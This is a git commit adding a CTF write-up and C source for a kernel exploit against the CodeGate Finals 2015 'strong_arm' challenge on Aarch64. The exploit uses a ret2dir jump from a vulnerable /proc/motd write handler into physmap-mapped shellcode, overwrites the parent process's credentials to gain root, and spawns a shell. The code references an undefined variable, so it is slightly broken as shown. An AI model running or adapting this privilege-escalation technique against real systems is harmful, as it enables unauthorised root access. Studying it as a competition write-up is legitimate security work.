CGFinals2015 strong_arm
This commit is contained in:
parent
a9d0eb6fb2
commit
6842434792
2 changed files with 128 additions and 0 deletions
26
CGFinals2015/strong_arm/README.md
Normal file
26
CGFinals2015/strong_arm/README.md
Normal file
|
@ -0,0 +1,26 @@
|
|||
CodeGate Finals 2015 - strong\_arm (Pwn 1000)
|
||||
=============================================
|
||||
|
||||
Aarch64 machine. And a /etc/motd that is sometimes a troll face, sometimes a dogeface, sometimes some other weird ASCII art.
|
||||
|
||||
... Wait, it's a symlink to /proc/motd..?!
|
||||
|
||||
Environment
|
||||
-----------
|
||||
|
||||
We didn't get any binary or source for the kernel module (`motd`) that provided the procfs file. After some messing around, two observations were made:
|
||||
|
||||
- `echo {0,1,2} > /proc/motd` will change the ASCII art that can be `cat`'d from it
|
||||
- `echo "A"x8 + "B"x8 + "C"x8 > /proc/motd` will make the kernel jump into 0x4343434343...
|
||||
|
||||
Exploit
|
||||
-------
|
||||
|
||||
Based on the ret2dir attack. We simply return into shellcode from kernelmode - however, not to the usermode virtual memory directly, but into a physical mapped copy of it.
|
||||
|
||||
The shellcode is ran from a child processes. It will then traverse task structures to find its' own task struct, then its' parent's thask struct. Finally, it will overwrite its' parent creds with zeroes. Offsets for all this traversal have been found experimantally :).
|
||||
|
||||
Authors
|
||||
-------
|
||||
|
||||
mak and q3k from Dragon Sector.
|
102
CGFinals2015/strong_arm/pwn.c
Normal file
102
CGFinals2015/strong_arm/pwn.c
Normal file
|
@ -0,0 +1,102 @@
|
|||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define PHYS_OFF 0xFFFFFFC000000000
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define PFN_MIN 0x40000
|
||||
|
||||
// Kernel shellcode - overwrite parent's creds with zeroes
|
||||
void dumptask()
|
||||
{
|
||||
// Get 4k-aligned kernel stack address
|
||||
uint64_t sp;
|
||||
__asm__ __volatile__ ("\t mov %0, sp" : "=r"(sp));
|
||||
sp &= ~(0x3FFF);
|
||||
uint64_t *stack = (uint64_t *)sp;
|
||||
|
||||
// Get taskstruct from stack
|
||||
uint32_t *ts = stack[2];
|
||||
// Get parent task struct from task struct
|
||||
uint32_t *pts = *((uint64_t*)(((uint64_t)ts) + 700 + 12));
|
||||
// Overwrite creds on parent task struct
|
||||
uint64_t creds = *((uint64_t*)(((uint64_t)pts) + 0x458 - 16));
|
||||
*((uint64_t *)(creds + 4)) = 0;
|
||||
*((uint64_t *)(creds + 8)) = 0;
|
||||
*((uint64_t *)(creds + 12)) = 0;
|
||||
*((uint64_t *)(creds + 16)) = 0;
|
||||
*((uint64_t *)(creds + 20)) = 0;
|
||||
*((uint64_t *)(creds + 24)) = 0;
|
||||
|
||||
__asm__ __volatile__ ("eret");
|
||||
}
|
||||
|
||||
// Get identity mapped physical address for userland virtual page
|
||||
uint64_t get_pfn(uint64_t uaddr){
|
||||
char buf[256];
|
||||
uint64_t pfn;
|
||||
memset(buf,0,256);
|
||||
sprintf(buf,"/proc/%d/pagemap",getpid());
|
||||
printf("[*] reading pagemap from... %s\n",buf);
|
||||
int fd= open(buf,0);
|
||||
lseek(fd,uaddr/PAGE_SIZE * sizeof(uint64_t),0);
|
||||
read(fd,&pfn,sizeof(pfn));
|
||||
close(fd);
|
||||
printf("[*] pfn %p\n",pfn);
|
||||
return pfn;
|
||||
}
|
||||
uint64_t translate(uint64_t uaddr) {
|
||||
return PHYS_OFF + PAGE_SIZE * (get_pfn(uaddr) - PFN_MIN);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
// Shellcode buffer
|
||||
uint64_t addr = mmap(0,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS,0,0);
|
||||
printf("[*] mmaped shellcode @ %p\n",addr);
|
||||
// Copy shellcode to page
|
||||
memcpy(addr, dumptask, 0x200);
|
||||
// Calculate shellcode physical address
|
||||
uint64_t phys_addr = translate(addr);
|
||||
printf("[*] shellcode physmap addr %p\n",phys_addr);
|
||||
printf("[*] global physmap addr %p\n",phys_asdf);
|
||||
// Prepare pwn buffer - kernel will jump to third word
|
||||
uint64_t *buffer = (uint64_t *)malloc(24);
|
||||
buffer[0] = 0x4141414141414141;
|
||||
buffer[1] = 0x4242424242424242;
|
||||
buffer[2] = (uint64_t)phys_addr;
|
||||
|
||||
// Fork!
|
||||
if (fork() == 0)
|
||||
{
|
||||
printf("[i] In child, waiting 1s\n");
|
||||
sleep(1);
|
||||
// Trigget sploit in child
|
||||
printf("[i] Running write\n");
|
||||
FILE *f = fopen("/proc/motd", "w");
|
||||
fwrite(buffer, 24, 1, f);
|
||||
fflush(f);
|
||||
fclose(f);
|
||||
|
||||
// we probably never get here..?
|
||||
printf("[e] Returned from write()!\n");
|
||||
for (;;) {}
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[i] In parent.\n");
|
||||
sleep(4);
|
||||
printf("[i] getuid: %i\n", getuid());
|
||||
if (getuid() == 0)
|
||||
{
|
||||
printf("[i] w00t w00t g0t r00t! don't forget to su -.\n");
|
||||
system("sh");
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("[e] no root :(\n");
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Add table
Reference in a new issue